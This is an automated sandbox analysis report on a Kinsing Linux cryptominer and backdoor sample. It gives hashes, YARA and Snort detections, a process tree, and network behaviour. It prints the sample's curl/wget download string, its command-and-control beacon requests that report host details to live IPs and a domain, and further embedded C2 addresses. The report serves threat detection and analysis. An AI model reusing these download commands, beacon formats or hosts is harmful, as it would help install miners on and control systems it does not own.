Joe Sandbox Cloud Basic Analysis Report
Edit tour

Linux Analysis Report
kinsing_aarch64.elf

Overview

General Information

Sample Name:kinsing_aarch64.elf
Analysis ID:1350023
MD5:da753ebcfe793614129fc11890acedbc
SHA1:ee458e526125d60cc1a387b4163376be8e9bc689
SHA256:c6fbd6896d162a12d9c900056781eb82f44649945808b7b009646b5397bcf6bf
Tags:elf
Infos:

Detection

Kinsing
Score:80
Range:0 - 100
Whitelisted:false

Signatures

Antivirus / Scanner detection for submitted sample
Multi AV Scanner detection for submitted file
Yara detected Kinsing Miner
Malicious sample detected (through community Yara rule)
Snort IDS alert for network traffic
Executes the "kill" or "pkill" command typically used to terminate processes
Reads CPU information from /sys indicative of miner or evasive malware
Yara signature match
Reads system information from the proc file system
Uses the "uname" system call to query kernel version information (possible evasion)
Enumerates processes within the "proc" file system
Creates hidden files and/or directories
Sample has stripped symbol table
Found strings indicative of a multi-platform dropper
Reads CPU information from /proc indicative of miner or evasive malware

Classification

RansomwareSpreadingPhishingBankerTrojan / BotAdwareSpywareExploiterEvaderMinercleansuspiciousmalicious

Analysis Advice

Static ELF header machine description suggests that the sample might not execute correctly on this machine.

General Information

Joe Sandbox Version:38.0.0 Ammolite
Analysis ID:1350023
Start date and time:2023-11-29 17:58:08 +01:00
Joe Sandbox Product:CloudBasic
Overall analysis duration:0h 4m 51s
Hypervisor based Inspection enabled:false
Report type:full
Cookbook file name:defaultlinuxfilecookbook.jbs
Analysis system description:Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:default
Sample file name:kinsing_aarch64.elf
Detection:MAL
Classification:mal80.mine.linELF@0/1@12/0
  • VT rate limit hit for: kinsing_aarch64.elf

Runtime Messages

Command:/tmp/kinsing_aarch64.elf
PID:6209
Exit Code:0
Exit Code Info:
Killed:False
Standard Output:

Standard Error:

Process Tree

  • system is lnxubuntu20
  • kinsing_aarch64.elf (PID: 6209, Parent: 6124, MD5: 02e8e39e1b46472a60d128a6da84a2b8) Arguments: /tmp/kinsing_aarch64.elf
    • kinsing_aarch64.elf (PID: 6214, Parent: 6209, MD5: 02e8e39e1b46472a60d128a6da84a2b8) Arguments: /tmp/kinsing_aarch64.elf
      • sh (PID: 6275, Parent: 6214, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "pkill -f kdevtmpfsi"
        • sh New Fork (PID: 6278, Parent: 6275)
        • pkill (PID: 6278, Parent: 6275, MD5: fa96a75a08109d8842e4865b2907d51f) Arguments: pkill -f kdevtmpfsi
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
KinsingNo Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/elf.kinsing

Yara Signatures

Initial Sample

SourceRuleDescriptionAuthorStrings
kinsing_aarch64.elfJoeSecurity_KinsingYara detected Kinsing MinerJoe Security
    kinsing_aarch64.elfMALWARE_Linux_KinsingKinsing RAT payloadditekSHen
    • 0x31d43c:$s1: backconnect
    • 0x321883:$s1: backconnect
    • 0x3e0309:$s1: backconnect
    • 0x3e031a:$s1: backconnect
    • 0x3dff3a:$s2: connectForSocks
    • 0x3dff4f:$s2: connectForSocks
    • 0x327140:$s3: downloadAndExecute
    • 0x329ffb:$s3: downloadAndExecute
    • 0x3e035e:$s3: downloadAndExecute
    • 0x3e0376:$s3: downloadAndExecute
    • 0x3e0394:$s3: downloadAndExecute
    • 0x31dba3:$s4: download_and_exec
    • 0x31c829:$s5: masscan
    • 0x31fb93:$s5: masscan
    • 0x320b9f:$s5: masscan
    • 0x3e02be:$s5: masscan
    • 0x3243dc:$s6: UpdateCommand:
    • 0x324c24:$s6: UpdateCommand:
    • 0x327a3f:$s6: UpdateCommand:
    • 0x3ea760:$s7: exec_out
    • 0x31eacf:$s8: doTask with type %s

    Snort Signatures

    Timestamp:192.168.2.23185.154.53.14051178802030108 11/29/23-18:00:28.364246
    SID:2030108
    Source Port:51178
    Destination Port:80
    Protocol:TCP
    Classtype:A Network Trojan was detected
    Timestamp:192.168.2.23185.154.53.14051162802030108 11/29/23-18:00:06.985572
    SID:2030108
    Source Port:51162
    Destination Port:80
    Protocol:TCP
    Classtype:A Network Trojan was detected
    Timestamp:192.168.2.23185.154.53.14051166802030108 11/29/23-18:00:09.294226
    SID:2030108
    Source Port:51166
    Destination Port:80
    Protocol:TCP
    Classtype:A Network Trojan was detected
    Timestamp:192.168.2.23185.154.53.14051198802030108 11/29/23-18:00:33.079065
    SID:2030108
    Source Port:51198
    Destination Port:80
    Protocol:TCP
    Classtype:A Network Trojan was detected
    Timestamp:192.168.2.23185.154.53.14051174802030108 11/29/23-18:00:14.025607
    SID:2030108
    Source Port:51174
    Destination Port:80
    Protocol:TCP
    Classtype:A Network Trojan was detected
    Timestamp:192.168.2.23185.154.53.14051178802030109 11/29/23-18:00:28.364246
    SID:2030109
    Source Port:51178
    Destination Port:80
    Protocol:TCP
    Classtype:A Network Trojan was detected
    Timestamp:192.168.2.23185.154.53.14051180802030108 11/29/23-18:00:28.364585
    SID:2030108
    Source Port:51180
    Destination Port:80
    Protocol:TCP
    Classtype:A Network Trojan was detected
    Timestamp:192.168.2.23185.154.53.14051204802030108 11/29/23-18:00:36.347754
    SID:2030108
    Source Port:51204
    Destination Port:80
    Protocol:TCP
    Classtype:A Network Trojan was detected
    Timestamp:192.168.2.23185.154.53.14051170802030108 11/29/23-18:00:11.590604
    SID:2030108
    Source Port:51170
    Destination Port:80
    Protocol:TCP
    Classtype:A Network Trojan was detected
    Timestamp:192.168.2.23185.154.53.14051190802030108 11/29/23-18:00:30.732714
    SID:2030108
    Source Port:51190
    Destination Port:80
    Protocol:TCP
    Classtype:A Network Trojan was detected
    Timestamp:192.168.2.23185.154.53.14051192802030108 11/29/23-18:00:30.771353
    SID:2030108
    Source Port:51192
    Destination Port:80
    Protocol:TCP
    Classtype:A Network Trojan was detected
    Timestamp:192.168.2.23185.154.53.14051158802030108 11/29/23-18:00:04.674507
    SID:2030108
    Source Port:51158
    Destination Port:80
    Protocol:TCP
    Classtype:A Network Trojan was detected
    Timestamp:192.168.2.23185.154.53.14051150802030108 11/29/23-17:59:58.397598
    SID:2030108
    Source Port:51150
    Destination Port:80
    Protocol:TCP
    Classtype:A Network Trojan was detected
    Timestamp:192.168.2.23185.154.53.14051182802030108 11/29/23-18:00:28.368160
    SID:2030108
    Source Port:51182
    Destination Port:80
    Protocol:TCP
    Classtype:A Network Trojan was detected
    Timestamp:192.168.2.23185.154.53.14051154802030108 11/29/23-18:00:02.260802
    SID:2030108
    Source Port:51154
    Destination Port:80
    Protocol:TCP
    Classtype:A Network Trojan was detected

    Joe Sandbox Signatures

    • • AV Detection
    • • Bitcoin Miner
    • • Spreading
    • • Networking
    • • System Summary
    • • Persistence and Installation Behavior
    • • Malware Analysis System Evasion

    Click to jump to signature section

    Show All Signature Results

    AV Detection

    barindex
    Source: kinsing_aarch64.elfAvira: detected
    Source: kinsing_aarch64.elfReversingLabs: Detection: 54%

    Bitcoin Miner

    barindex
    Source: Yara matchFile source: kinsing_aarch64.elf, type: SAMPLE
    Source: /tmp/kinsing_aarch64.elf (PID: 6214)Reads CPU info from /sys: /sys/devices/system/cpu/onlineJump to behavior
    Source: /usr/bin/pkill (PID: 6278)Reads CPU info from /sys: /sys/devices/system/cpu/onlineJump to behavior
    Source: /tmp/kinsing_aarch64.elf (PID: 6214)Reads CPU info from proc file: /proc/cpuinfoJump to behavior
    Source: kinsing_aarch64.elfString: (curl -o firewire $MASSCAN || wget -O firewire $MASSCAN)
    Source: kinsing_aarch64.elfString: (curl -o firewire $MASSCAN || wget -O firewire $MASSCAN)

    Networking

    barindex
    Source: TrafficSnort IDS: 2030108 ET TROJAN nspps Backdoor CnC Activity 192.168.2.23:51150 -> 185.154.53.140:80
    Source: TrafficSnort IDS: 2030108 ET TROJAN nspps Backdoor CnC Activity 192.168.2.23:51154 -> 185.154.53.140:80
    Source: TrafficSnort IDS: 2030108 ET TROJAN nspps Backdoor CnC Activity 192.168.2.23:51158 -> 185.154.53.140:80
    Source: TrafficSnort IDS: 2030108 ET TROJAN nspps Backdoor CnC Activity 192.168.2.23:51162 -> 185.154.53.140:80
    Source: TrafficSnort IDS: 2030108 ET TROJAN nspps Backdoor CnC Activity 192.168.2.23:51166 -> 185.154.53.140:80
    Source: TrafficSnort IDS: 2030108 ET TROJAN nspps Backdoor CnC Activity 192.168.2.23:51170 -> 185.154.53.140:80
    Source: TrafficSnort IDS: 2030108 ET TROJAN nspps Backdoor CnC Activity 192.168.2.23:51174 -> 185.154.53.140:80
    Source: TrafficSnort IDS: 2030108 ET TROJAN nspps Backdoor CnC Activity 192.168.2.23:51180 -> 185.154.53.140:80
    Source: TrafficSnort IDS: 2030108 ET TROJAN nspps Backdoor CnC Activity 192.168.2.23:51178 -> 185.154.53.140:80
    Source: TrafficSnort IDS: 2030109 ET TROJAN nspps Backdoor - Sending SOCKS Details 192.168.2.23:51178 -> 185.154.53.140:80
    Source: TrafficSnort IDS: 2030108 ET TROJAN nspps Backdoor CnC Activity 192.168.2.23:51182 -> 185.154.53.140:80
    Source: TrafficSnort IDS: 2030108 ET TROJAN nspps Backdoor CnC Activity 192.168.2.23:51190 -> 185.154.53.140:80
    Source: TrafficSnort IDS: 2030108 ET TROJAN nspps Backdoor CnC Activity 192.168.2.23:51192 -> 185.154.53.140:80
    Source: TrafficSnort IDS: 2030108 ET TROJAN nspps Backdoor CnC Activity 192.168.2.23:51198 -> 185.154.53.140:80
    Source: TrafficSnort IDS: 2030108 ET TROJAN nspps Backdoor CnC Activity 192.168.2.23:51204 -> 185.154.53.140:80
    Source: unknownNetwork traffic detected: HTTP traffic on port 52164 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 52160 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 52176
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 52214
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 52160
    Source: unknownNetwork traffic detected: HTTP traffic on port 52176 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 52180
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 52164
    Source: unknownNetwork traffic detected: HTTP traffic on port 52172 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 52184
    Source: unknownNetwork traffic detected: HTTP traffic on port 52180 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 42836 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 52208
    Source: unknownNetwork traffic detected: HTTP traffic on port 52184 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 52192 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 52214 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 52168
    Source: unknownNetwork traffic detected: HTTP traffic on port 43928 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 52194 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 52204
    Source: unknownNetwork traffic detected: HTTP traffic on port 52196 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 52202
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 52192
    Source: unknownNetwork traffic detected: HTTP traffic on port 52208 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 52196
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 52172
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 52194
    Source: unknownNetwork traffic detected: HTTP traffic on port 52202 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 52168 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 52204 -> 443
    Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.42
    Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.43
    Source: unknownTCP traffic detected without corresponding DNS query: 109.202.202.202
    Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.42
    Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.43
    Source: unknownTCP traffic detected without corresponding DNS query: 109.202.202.202
    Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.42
    Source: unknownTCP traffic detected without corresponding DNS query: 212.22.77.79
    Source: unknownTCP traffic detected without corresponding DNS query: 212.22.77.79
    Source: unknownTCP traffic detected without corresponding DNS query: 212.22.77.79
    Source: unknownTCP traffic detected without corresponding DNS query: 212.22.77.79
    Source: unknownTCP traffic detected without corresponding DNS query: 212.22.77.79
    Source: kinsing_aarch64.elfString found in binary or memory: http://185.61.7.8;http://67.205.161.58;http://104.248.3.165runtime:
    Source: kinsing_aarch64.elfString found in binary or memory: http://47.65.90.240if-unmodified-sinceillegal
    Source: kinsing_aarch64.elfString found in binary or memory: http://api.ipify.orgi/o
    Source: kinsing_aarch64.elfString found in binary or memory: http://ifconfig.coidentifier
    Source: kinsing_aarch64.elfString found in binary or memory: http://ipv4.icanhazip.comillegal
    Source: kinsing_aarch64.elfString found in binary or memory: https://github.com/go-resty/resty)got
    Source: unknownHTTP traffic detected: POST /mu HTTP/1.1Host: 185.154.53.140User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36Connection: closeContent-Length: 0Arch: arm64Cores: 2Id: AVlUGnSVaInqKQGUMEBcdUNwlsHekBMem: 2992Os: linuxOsname: ubuntuOsversion: 20.04Root: trueStarted: 1701277137Uuid: 8943ba3c-3f37-46d8-69ce-6633309867a5Version: 39Accept-Encoding: gzip
    Source: unknownDNS traffic detected: queries for: vocaltube.ru
    Source: global trafficHTTP traffic detected: GET /mg HTTP/1.1Host: vocaltube.ruUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36Arch: arm64Cores: 2Mem: 2992Os: linuxOsname: ubuntuOsversion: 20.04Referer: http://185.154.53.140/mgRoot: trueStarted: 1701277137Uuid: 8943ba3c-3f37-46d8-69ce-6633309867a5Version: 39Accept-Encoding: gzip
    Source: global trafficHTTP traffic detected: GET /mu HTTP/1.1Host: vocaltube.ruUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36Arch: arm64Cores: 2Id: AVlUGnSVaInqKQGUMEBcdUNwlsHekBMem: 2992Os: linuxOsname: ubuntuOsversion: 20.04Referer: http://185.154.53.140/muRoot: trueStarted: 1701277137Uuid: 8943ba3c-3f37-46d8-69ce-6633309867a5Version: 39Accept-Encoding: gzip
    Source: global trafficHTTP traffic detected: GET /l HTTP/1.1Host: vocaltube.ruUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36Arch: arm64Content-Type: application/octet-streamCores: 2Mem: 2992Os: linuxOsname: ubuntuOsversion: 20.04Referer: http://185.154.53.140/lRoot: trueStarted: 1701277137Uuid: 8943ba3c-3f37-46d8-69ce-6633309867a5Version: 39Accept-Encoding: gzip
    Source: global trafficHTTP traffic detected: GET /l HTTP/1.1Host: vocaltube.ruUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36Arch: arm64Content-Type: application/octet-streamCores: 2Mem: 2992Os: linuxOsname: ubuntuOsversion: 20.04Referer: http://185.154.53.140/lRoot: trueStarted: 1701277137Uuid: 8943ba3c-3f37-46d8-69ce-6633309867a5Version: 39Accept-Encoding: gzip
    Source: global trafficHTTP traffic detected: GET /mu HTTP/1.1Host: vocaltube.ruUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36Arch: arm64Cores: 2Id: kEYItBUgmVxsTilBfeqnkdZqlVWoUaMem: 2992Os: linuxOsname: ubuntuOsversion: 20.04Referer: http://185.154.53.140/muRoot: trueStarted: 1701277137Uuid: 8943ba3c-3f37-46d8-69ce-6633309867a5Version: 39Accept-Encoding: gzip
    Source: global trafficHTTP traffic detected: GET /l HTTP/1.1Host: vocaltube.ruUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36Arch: arm64Content-Type: application/octet-streamCores: 2Mem: 2992Os: linuxOsname: ubuntuOsversion: 20.04Referer: http://185.154.53.140/lRoot: trueStarted: 1701277137Uuid: 8943ba3c-3f37-46d8-69ce-6633309867a5Version: 39Accept-Encoding: gzip
    Source: global trafficHTTP traffic detected: GET /ms HTTP/1.1Host: vocaltube.ruUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36Arch: arm64Content-Type: application/octet-streamCores: 2Mem: 2992Os: linuxOsname: ubuntuOsversion: 20.04Referer: http://185.154.53.140/msRoot: trueStarted: 1701277137Uuid: 8943ba3c-3f37-46d8-69ce-6633309867a5Version: 39Accept-Encoding: gzip
    Source: global trafficHTTP traffic detected: GET /ki HTTP/1.1Host: vocaltube.ruUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36Arch: arm64Cores: 2Id: PyWRaVRDRnQAcWRRwJdRWSbSFfMtYuMem: 2992Os: linuxOsname: ubuntuOsversion: 20.04Referer: http://185.154.53.140/kiRoot: trueStarted: 1701277137Uuid: 8943ba3c-3f37-46d8-69ce-6633309867a5Version: 39Accept-Encoding: gzip
    Source: global trafficHTTP traffic detected: GET /get HTTP/1.1Host: vocaltube.ruUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36Arch: arm64Cores: 2Id: lXgcADDgNTANSlVMuXVSaaNzBRcFOCMem: 2992Os: linuxOsname: ubuntuOsversion: 20.04Referer: http://185.154.53.140/getRoot: trueStarted: 1701277137Uuid: 8943ba3c-3f37-46d8-69ce-6633309867a5Version: 39Accept-Encoding: gzip
    Source: global trafficHTTP traffic detected: GET /s HTTP/1.1Host: vocaltube.ruUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36Arch: arm64Content-Type: application/octet-streamCores: 2Mem: 2992Os: linuxOsname: ubuntuOsversion: 20.04Referer: http://185.154.53.140/sRoot: trueStarted: 1701277137Uuid: 8943ba3c-3f37-46d8-69ce-6633309867a5Version: 39Accept-Encoding: gzip
    Source: global trafficHTTP traffic detected: GET /l HTTP/1.1Host: vocaltube.ruUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36Arch: arm64Content-Type: application/octet-streamCores: 2Mem: 2992Os: linuxOsname: ubuntuOsversion: 20.04Referer: http://185.154.53.140/lRoot: trueStarted: 1701277137Uuid: 8943ba3c-3f37-46d8-69ce-6633309867a5Version: 39Accept-Encoding: gzip
    Source: global trafficHTTP traffic detected: GET /l HTTP/1.1Host: vocaltube.ruUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36Arch: arm64Content-Type: application/octet-streamCores: 2Mem: 2992Os: linuxOsname: ubuntuOsversion: 20.04Referer: http://185.154.53.140/lRoot: trueStarted: 1701277137Uuid: 8943ba3c-3f37-46d8-69ce-6633309867a5Version: 39Accept-Encoding: gzip
    Source: global trafficHTTP traffic detected: GET /h2 HTTP/1.1Host: vocaltube.ruUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36Arch: arm64Cores: 2Id: XkuYcgDAciutzIypiAiuryUVKkvyRoMem: 2992Os: linuxOsname: ubuntuOsversion: 20.04Referer: http://185.154.53.140/h2Root: trueStarted: 1701277137Uuid: 8943ba3c-3f37-46d8-69ce-6633309867a5Version: 39Accept-Encoding: gzip
    Source: global trafficHTTP traffic detected: GET /ms HTTP/1.1Host: vocaltube.ruUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36Arch: arm64Content-Type: application/octet-streamCores: 2Mem: 2992Os: linuxOsname: ubuntuOsversion: 20.04Referer: http://185.154.53.140/msRoot: trueStarted: 1701277137Uuid: 8943ba3c-3f37-46d8-69ce-6633309867a5Version: 39Accept-Encoding: gzip
    Source: global trafficHTTP traffic detected: GET /mg HTTP/1.1Host: 185.154.53.140User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36Connection: closeArch: arm64Cores: 2Mem: 2992Os: linuxOsname: ubuntuOsversion: 20.04Root: trueStarted: 1701277137Uuid: 8943ba3c-3f37-46d8-69ce-6633309867a5Version: 39Accept-Encoding: gzip
    Source: global trafficHTTP traffic detected: GET /get HTTP/1.1Host: 185.154.53.140User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36Connection: closeArch: arm64Cores: 2Id: lXgcADDgNTANSlVMuXVSaaNzBRcFOCMem: 2992Os: linuxOsname: ubuntuOsversion: 20.04Root: trueStarted: 1701277137Uuid: 8943ba3c-3f37-46d8-69ce-6633309867a5Version: 39Accept-Encoding: gzip
    Source: global trafficHTTP traffic detected: GET /h2 HTTP/1.1Host: 185.154.53.140User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36Connection: closeArch: arm64Cores: 2Id: XkuYcgDAciutzIypiAiuryUVKkvyRoMem: 2992Os: linuxOsname: ubuntuOsversion: 20.04Root: trueStarted: 1701277137Uuid: 8943ba3c-3f37-46d8-69ce-6633309867a5Version: 39Accept-Encoding: gzip

    System Summary

    barindex
    Source: kinsing_aarch64.elf, type: SAMPLEMatched rule: Kinsing RAT payload Author: ditekSHen
    Source: kinsing_aarch64.elf, type: SAMPLEMatched rule: MALWARE_Linux_Kinsing author = ditekSHen, description = Kinsing RAT payload
    Source: ELF static info symbol of initial sample.symtab present: no
    Source: ELF file sectionSubmission: kinsing_aarch64.elf
    Source: classification engineClassification label: mal80.mine.linELF@0/1@12/0
    Source: /usr/bin/sh (PID: 6278)Pkill executable: /usr/bin/pkill -> pkill -f kdevtmpfsiJump to behavior
    Source: /tmp/kinsing_aarch64.elf (PID: 6209)Reads from proc file: /proc/statJump to behavior
    Source: /tmp/kinsing_aarch64.elf (PID: 6214)Reads from proc file: /proc/statJump to behavior
    Source: /tmp/kinsing_aarch64.elf (PID: 6214)Reads from proc file: /proc/cpuinfoJump to behavior
    Source: /tmp/kinsing_aarch64.elf (PID: 6214)Reads from proc file: /proc/meminfoJump to behavior
    Source: /usr/bin/pkill (PID: 6278)File opened: /proc/1582/statusJump to behavior
    Source: /usr/bin/pkill (PID: 6278)File opened: /proc/1582/cmdlineJump to behavior
    Source: /usr/bin/pkill (PID: 6278)File opened: /proc/3088/statusJump to behavior
    Source: /usr/bin/pkill (PID: 6278)File opened: /proc/3088/cmdlineJump to behavior
    Source: /usr/bin/pkill (PID: 6278)File opened: /proc/230/statusJump to behavior
    Source: /usr/bin/pkill (PID: 6278)File opened: /proc/230/cmdlineJump to behavior
    Source: /usr/bin/pkill (PID: 6278)File opened: /proc/110/statusJump to behavior
    Source: /usr/bin/pkill (PID: 6278)File opened: /proc/110/cmdlineJump to behavior
    Source: /usr/bin/pkill (PID: 6278)File opened: /proc/231/statusJump to behavior
    Source: /usr/bin/pkill (PID: 6278)File opened: /proc/231/cmdlineJump to behavior
    Source: /usr/bin/pkill (PID: 6278)File opened: /proc/111/statusJump to behavior
    Source: /usr/bin/pkill (PID: 6278)File opened: /proc/111/cmdlineJump to behavior
    Source: /usr/bin/pkill (PID: 6278)File opened: /proc/232/statusJump to behavior
    Source: /usr/bin/pkill (PID: 6278)File opened: /proc/232/cmdlineJump to behavior
    Source: /usr/bin/pkill (PID: 6278)File opened: /proc/1579/statusJump to behavior
    Source: /usr/bin/pkill (PID: 6278)File opened: /proc/1579/cmdlineJump to behavior
    Source: /usr/bin/pkill (PID: 6278)File opened: /proc/112/statusJump to behavior
    Source: /usr/bin/pkill (PID: 6278)File opened: /proc/112/cmdlineJump to behavior
    Source: /usr/bin/pkill (PID: 6278)File opened: /proc/233/statusJump to behavior
    Source: /usr/bin/pkill (PID: 6278)File opened: /proc/233/cmdlineJump to behavior
    Source: /usr/bin/pkill (PID: 6278)File opened: /proc/1699/statusJump to behavior
    Source: /usr/bin/pkill (PID: 6278)File opened: /proc/1699/cmdlineJump to behavior
    Source: /usr/bin/pkill (PID: 6278)File opened: /proc/113/statusJump to behavior
    Source: /usr/bin/pkill (PID: 6278)File opened: /proc/113/cmdlineJump to behavior
    Source: /usr/bin/pkill (PID: 6278)File opened: /proc/234/statusJump to behavior
    Source: /usr/bin/pkill (PID: 6278)File opened: /proc/234/cmdlineJump to behavior
    Source: /usr/bin/pkill (PID: 6278)File opened: /proc/1335/statusJump to behavior
    Source: /usr/bin/pkill (PID: 6278)File opened: /proc/1335/cmdlineJump to behavior
    Source: /usr/bin/pkill (PID: 6278)File opened: /proc/1698/statusJump to behavior
    Source: /usr/bin/pkill (PID: 6278)File opened: /proc/1698/cmdlineJump to behavior
    Source: /usr/bin/pkill (PID: 6278)File opened: /proc/114/statusJump to behavior
    Source: /usr/bin/pkill (PID: 6278)File opened: /proc/114/cmdlineJump to behavior
    Source: /usr/bin/pkill (PID: 6278)File opened: /proc/235/statusJump to behavior
    Source: /usr/bin/pkill (PID: 6278)File opened: /proc/235/cmdlineJump to behavior
    Source: /usr/bin/pkill (PID: 6278)File opened: /proc/1334/statusJump to behavior
    Source: /usr/bin/pkill (PID: 6278)File opened: /proc/1334/cmdlineJump to behavior
    Source: /usr/bin/pkill (PID: 6278)File opened: /proc/1576/statusJump to behavior
    Source: /usr/bin/pkill (PID: 6278)File opened: /proc/1576/cmdlineJump to behavior
    Source: /usr/bin/pkill (PID: 6278)File opened: /proc/2302/statusJump to behavior
    Source: /usr/bin/pkill (PID: 6278)File opened: /proc/2302/cmdlineJump to behavior
    Source: /usr/bin/pkill (PID: 6278)File opened: /proc/115/statusJump to behavior
    Source: /usr/bin/pkill (PID: 6278)File opened: /proc/115/cmdlineJump to behavior
    Source: /usr/bin/pkill (PID: 6278)File opened: /proc/236/statusJump to behavior
    Source: /usr/bin/pkill (PID: 6278)File opened: /proc/236/cmdlineJump to behavior
    Source: /usr/bin/pkill (PID: 6278)File opened: /proc/116/statusJump to behavior
    Source: /usr/bin/pkill (PID: 6278)File opened: /proc/116/cmdlineJump to behavior
    Source: /usr/bin/pkill (PID: 6278)File opened: /proc/237/statusJump to behavior
    Source: /usr/bin/pkill (PID: 6278)File opened: /proc/237/cmdlineJump to behavior
    Source: /usr/bin/pkill (PID: 6278)File opened: /proc/117/statusJump to behavior
    Source: /usr/bin/pkill (PID: 6278)File opened: /proc/117/cmdlineJump to behavior
    Source: /usr/bin/pkill (PID: 6278)File opened: /proc/118/statusJump to behavior
    Source: /usr/bin/pkill (PID: 6278)File opened: /proc/118/cmdlineJump to behavior
    Source: /usr/bin/pkill (PID: 6278)File opened: /proc/910/statusJump to behavior
    Source: /usr/bin/pkill (PID: 6278)File opened: /proc/910/cmdlineJump to behavior
    Source: /usr/bin/pkill (PID: 6278)File opened: /proc/119/statusJump to behavior
    Source: /usr/bin/pkill (PID: 6278)File opened: /proc/119/cmdlineJump to behavior
    Source: /usr/bin/pkill (PID: 6278)File opened: /proc/912/statusJump to behavior
    Source: /usr/bin/pkill (PID: 6278)File opened: /proc/912/cmdlineJump to behavior
    Source: /usr/bin/pkill (PID: 6278)File opened: /proc/10/statusJump to behavior
    Source: /usr/bin/pkill (PID: 6278)File opened: /proc/10/cmdlineJump to behavior
    Source: /usr/bin/pkill (PID: 6278)File opened: /proc/2307/statusJump to behavior
    Source: /usr/bin/pkill (PID: 6278)File opened: /proc/2307/cmdlineJump to behavior
    Source: /usr/bin/pkill (PID: 6278)File opened: /proc/11/statusJump to behavior
    Source: /usr/bin/pkill (PID: 6278)File opened: /proc/11/cmdlineJump to behavior
    Source: /usr/bin/pkill (PID: 6278)File opened: /proc/918/statusJump to behavior
    Source: /usr/bin/pkill (PID: 6278)File opened: /proc/918/cmdlineJump to behavior
    Source: /usr/bin/pkill (PID: 6278)File opened: /proc/12/statusJump to behavior
    Source: /usr/bin/pkill (PID: 6278)File opened: /proc/12/cmdlineJump to behavior
    Source: /usr/bin/pkill (PID: 6278)File opened: /proc/13/statusJump to behavior
    Source: /usr/bin/pkill (PID: 6278)File opened: /proc/13/cmdlineJump to behavior
    Source: /usr/bin/pkill (PID: 6278)File opened: /proc/14/statusJump to behavior
    Source: /usr/bin/pkill (PID: 6278)File opened: /proc/14/cmdlineJump to behavior
    Source: /usr/bin/pkill (PID: 6278)File opened: /proc/15/statusJump to behavior
